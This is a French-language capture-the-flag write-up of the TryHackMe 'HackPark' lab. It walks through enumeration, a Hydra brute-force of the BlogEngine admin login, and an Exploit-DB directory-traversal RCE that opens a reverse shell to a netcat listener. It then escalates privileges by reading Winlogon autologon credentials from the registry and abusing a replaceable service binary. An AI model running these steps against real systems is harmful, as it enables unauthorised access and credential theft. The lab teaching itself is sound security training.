HackPark – TryHackMe – Rédaction du manuel

Reading Time: ( Word Count: )

février 21, 2021
Nextdoorsec-course

Intro

Cette machine couvrira le forçage brutal des identifiants de compte et la gestion des exploits publics. Voici un lien vers la boîte.

 

Enumération

Nmap scan

Comme d’habitude, nous commencerons par un scan Nmap.

┌──(kali㉿kali)-[~] └─$ export IP=10.10.219.247 ┌──(kali㉿kali)-[~] └─$ nmap -A -p- -v -Pn $IP
ÉTAT DU PORT VERSION DU SERVICE 80/tcp open http Microsoft IIS httpd 8.5 | http-methods : | Méthodes prises en charge : GET HEAD OPTIONS TRACE POST |Méthodes potentiellement risquées : TRACE | http-robots.txt : 6 entrées interdites | /Compte/*.* /search /search.aspx /error404.aspx |_/archive /archive.aspx |_http-server-header : Microsoft-IIS/8.5 |_http-title : hackpark | hackpark amusements 3389/tcp open ssl/ms-wbt-server ? | ssl-cert : Subject : commonName=hackpark | Emetteur : commonName=hackpark | Type de clé publique : rsa | Clé publique bits : 2048 | Algorithme de signature : sha1WithRSAEncryption | Non valide avant : 2020-10-01T21:12:23 | Non valide après : 2021-04-02T21:12:23 | MD5 : 3032 2fb5 4e45 55fa e4d8 a136 f99f 86d3 |_SHA-1 : e191 17b5 7329 905e 23e3 93ca d5b1 fbac a510 663b |Date : 2021-02-09T08:23:14+00:00 ; -1s à partir de l'heure du scanner. Informations sur le service : OS : Windows ; CPE : cpe:/o:microsoft:windows

Nous disposons d’un serveur web Microsoft ouvert et d’un port RDP. Tout en inspectant le site web, nous allons effectuer une force brute pour trouver d’autres répertoires intéressants en arrière-plan.

 

Forçage brutal des répertoires de Gobuster

┌──(kali㉿kali)-[~] └─$ gobuster dir -u $IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r
=============================================================== Gobuster v3.0.1 par OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url : http://10.10.33.120/ [+] Threads : 10 [+] Liste de mots : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [Codes d'état : 200,204,301,302,307,401,403 [+] Agent utilisateur : gobuster/3.0.1 [+] Follow Redir : true [+] Expanded : true [+] Délai d'attente : 10s =============================================================== 2021/02/09 11:14:40 Démarrage du gobuster =============================================================== http://10.10.33.120/contact (Statut : 200) http://10.10.33.120/search (Statut : 200) http://10.10.33.120/archives (Statut : 200) http://10.10.33.120/archive (Statut : 200) http://10.10.33.120/content (Statut : 403) http://10.10.33.120/contactus (Statut : 200) http://10.10.33.120/contacts (Statut : 200) http://10.10.33.120/contact_us (Statut : 200) http://10.10.33.120/admin (Statut : 200)

Avec les résultats de gobuster, nous trouvons la page de connexion de l’administrateur. La vérification du type de requête en inspectant l’élément de formulaire nous montre des requêtes POST qui envoient des données au serveur web.

Nous avons également constaté que le nom d’utilisateur était admin, comme l’indique l’URL du formulaire de connexion. Maintenant que nous connaissons le type de requête et que nous avons une URL pour le formulaire de connexion, nous pouvons commencer à forcer brutalement le compte.

 

Exploitation

Forçage brutal des comptes Hydra

1. Allez sur la page de connexion du site web et essayez de vous connecter avec des informations d’identification aléatoires.
2. Appuyez sur« F12 » ou ouvrez«  Outils debasculement  » dans Firefox.
3. Sélectionnez l’onglet« Réseau« .
4. Essayez de vous connecter avec des informations d’identification aléatoires.
5. Recherchez et sélectionnez la requête« POST » dans la colonne« Méthode« .
6. Copiez l’URL commençant par« /Account/login » et collez-la quelque part pour construire votre commande :

7. Dans l’onglet de droite, appuyez sur« Request« , faites défiler vers le bas et copiez le contenu de« Request payload« , et ajoutez-le au lien précédent en le séparant par deux points ( : ).

8. Remplacez votre nom d’utilisateur et votre mot de passe par ^USER^ & ^PASS^
9. Ajoutez « :Login failed » à la fin de votre commande.
10. Résultat :

┌──(kali㉿kali)-[~] └─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV $IP http-post-form [space] '/Account/login.aspx ?ReturnURL=/admin/:%2FVTx8KiWtMV4nKZ2uJ6UcDNcYj6zh5gqaKJYVe7nrldsqKahaN76%%2F4h5AjHQ769OAAq1pJvXMoY%.%24MainContent%:Login failed'

Cette chaîne comporte trois parties divisées par des deux-points :
chemin d’accès à la page du formulaire de connexion : corps de la requête : message d’erreur indiquant l’échec

 

Searchsploit

Après s’être connecté en tant qu’administrateur, nous trouvons que la version de BlogEngine est 3.3.6.0 et nous cherchons un exploit :

┌──(kali㉿kali)-[~] └─$ searchsploit blogengine 3 ---------------------------------------------------------------------------------- --------------------------------- Titre de l'exploit | Chemin d'accès ---------------------------------------------------------------------------------- --------------------------------- BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection | xml/webapps/48422.txt BlogEngine 3.3 - Injection d'entité externe XML | windows/webapps/46106.txt BlogEngine 3.3.8 - 'Content' Stored XSS | aspx/webapps/48999.txt BlogEngine.NET 1.4 - 'search.aspx' Cross-Site Scripting | asp/webapps/32874.txt BlogEngine.NET 1.6 - Traversée de répertoire / Divulgation d'informations | asp/webapps/35168.txt BlogEngine.NET 3.3.6 - Traversée de répertoire / Exécution de code à distance | aspx/webapps/46353.cs BlogEngine.NET 3.3.6/3.3.7 - 'dirPath' Directory Traversal / Remote Code Executio | aspx/webapps/47010.py BlogEngine.NET 3.3.6/3.3.7 - 'path' Directory Traversal | aspx/webapps/47035.py BlogEngine.NET 3.3.6/3.3.7 - 'theme Cookie' Directory Traversal / Remote Code Exe | aspx/webapps/47011.py BlogEngine.NET 3.3.6/3.3.7 - Injection d'entité externe XML | aspx/webapps/47014.py ---------------------------------------------------------------------------------- --------------------------------- Shellcodes : Aucun résultat

Copiez l’exploit localement, changez l’IP et le port et commencez à écouter le port choisi.

┌──(kali㉿kali)-[~] └─$ cp /usr/share/exploitdb/exploits/aspx/webapps/46353.cs ./PostView.ascx ┌──(kali㉿kali)-[~] └─$ gedit PostView.ascx ┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443

D’après la description de l’exploit, nous devons faire ce qui suit :
1. Naviguer vers le contenu
2. Postes
3. Nouveau
4. Télécharger l’exploit (le nom doit être PostView.ascx)
5. Publier
6. Visiter http://TARGET_IP/?theme=../../App_Data/files pour obtenir une coquille

listening on [any] 443 ... connect to [x .x.x.x] from (UNKNOWN) [10 .10.3.192] 50120 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. Tous droits réservés. c:\windows\system32\inetsrv> whoami c:\windows\system32\inetsrv>whoami iis apppool\blog

 

 

L’escalade des privilèges

Systeminfo pour obtenir une vue d’ensemble

Voyons les caractéristiques de la machine :

> systeminfo
c:\windows\system32\inetsrv>systeminfo Nom de l'hôte : HACKPARK Nom du système d'exploitation : Microsoft Windows Server 2012 R2 Standard Version du système d'exploitation : 6.3.9600 N/A Build 9600 Fabricant du système d'exploitation : Microsoft Corporation Configuration du système d'exploitation : Serveur autonome OS Build Type : Multiprocesseur Gratuit Propriétaire enregistré : Windows User Organisation enregistrée : Identifiant du produit : 00252-70000-00000-AA886 Date d'installation originale : 8/3/2019, 10:43:23 AM Heure de démarrage du système : 2/9/2021, 3:19:24 AM Fabricant du système : Xen Modèle de système : HVM domU Type de système : PC basé sur x64 ...

 

 

Vérification des privilèges de Whoami

> whoami /priv
c:\windows\system32\inetsrv>systeminfo INFORMATIONS SUR LES PRIVILÈGES ---------------------- Nom du privilège Description État ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Remplacer un jeton de niveau processus Désactivé SeIncreaseQuotaPrivilege Ajuster les quotas de mémoire pour un processus Désactivé SeAuditPrivilege Générer des audits de sécurité Désactivé SeChangeNotifyPrivilege Contournement de la vérification de la traversée Activé SeImpersonatePrivilege Impersonnaliser un client après authentification Activé SeCreateGlobalPrivilege Créer des objets globaux Activé SeIncreaseWorkingSetPrivilege Augmenter l'ensemble de travail d'un processus Désactivé

Windows utilise des jetons pour s’assurer que les comptes disposent des privilèges nécessaires pour effectuer certaines actions. Les jetons de compte sont attribués à un compte lorsque les utilisateurs se connectent ou sont authentifiés.

 

Il existe deux types de jetons d’accès :

  • jetons d’accès primaires : ceux qui sont associés à un compte d’utilisateur et qui sont générés lors de l’ouverture d’une session
  • jetons d’usurpation d’identité: ces jetons permettent à un processus particulier (ou à un thread dans un processus) d’accéder à des ressources en utilisant le jeton d’un autre processus (utilisateur/client).

Nous pourrions utiliser l’usurpation d’identité par jeton pour accéder au système.

Informations d’identification Winlogon

Vérifions le registre pour les informations d’identification Autologon / Winlogon de l’utilisateur :

> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
... LastUsedUsername REG_SZ administrator AutoAdminLogon REG_DWORD 0x1 DefaultUserName REG_SZ administrator DefaultPassword REG_SZ 4q6[redacted]Fdxs

Il semble que nous ayons trouvé des identifiants d’administrateur ; utilisons le port RDP ouvert pour nous connecter à la machine.

> xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:$IP /u:administrator /p:'4q6X[redacted] dxs '

Nous avons exceptionnellement récupéré le drapeau. Poursuivons le chemin normal pour exploiter une autre faiblesse de cette boîte.

 

Chemins de service non cotés

Cherchons des chemins de service non cotés :

> wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\NWindows\N" |findstr /i /v """
AWS Lite Guest Agent AWSLiteAgent C:\Program Files\Amazon\XenTools\LiteAgent.exe Auto System Scheduler Service WindowsScheduler C:\PROGRA~2\SYSTEM~1\WService.exe Auto

Interrogeons le nom du service pour plus d’informations.

> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS SERVICE_NAME : WindowsScheduler TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE NOM_DU_CHEMIN_BINAIRE : C:\PROGRA~2\SYSTEM~1\WService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Service du planificateur de système DÉPENDANCES : NOM_DU_SERVICE : LocalSystem

Vérifiez dans les fichiers journaux si le nom du binaire exécuté automatiquement est correct. Dans la carte de l’ordonnanceur système, vous pouvez remplacer le fichier message.exe avec un shell exec généré pour obtenir un shell d’administration comme alternative.

Aydan Arabadzha

Aydan Arabadzha

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

« Apple neutralise les vulnérabilités exploitées : Une mise à jour complète »

Apple a mis en place des améliorations de sécurité pour neutraliser les vulnérabilités de type "zero-day" ...

« Risques invisibles : Comment la clé volée de Microsoft pourrait débloquer plus de choses que prévu »

Le vol présumé d'une clé de sécurité de Microsoft pourrait avoir permis à des espions liés à Pékin de violer bien ...

« La performance de l’IA de ChatGPT : Au-delà du test de Turing ou pas tout à fait ? »

ChatGPT, un chatbot d'intelligence artificielle d'OpenAI, a fait des vagues dans le paysage technologique grâce à ...

Test DNS Secure : Sécurisez votre voyage en ligne

Welcome to the fast-paced digital era, where cybersecurity is not just a buzzword but a critical aspect of our ...
0 commentaires

Soumettre un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *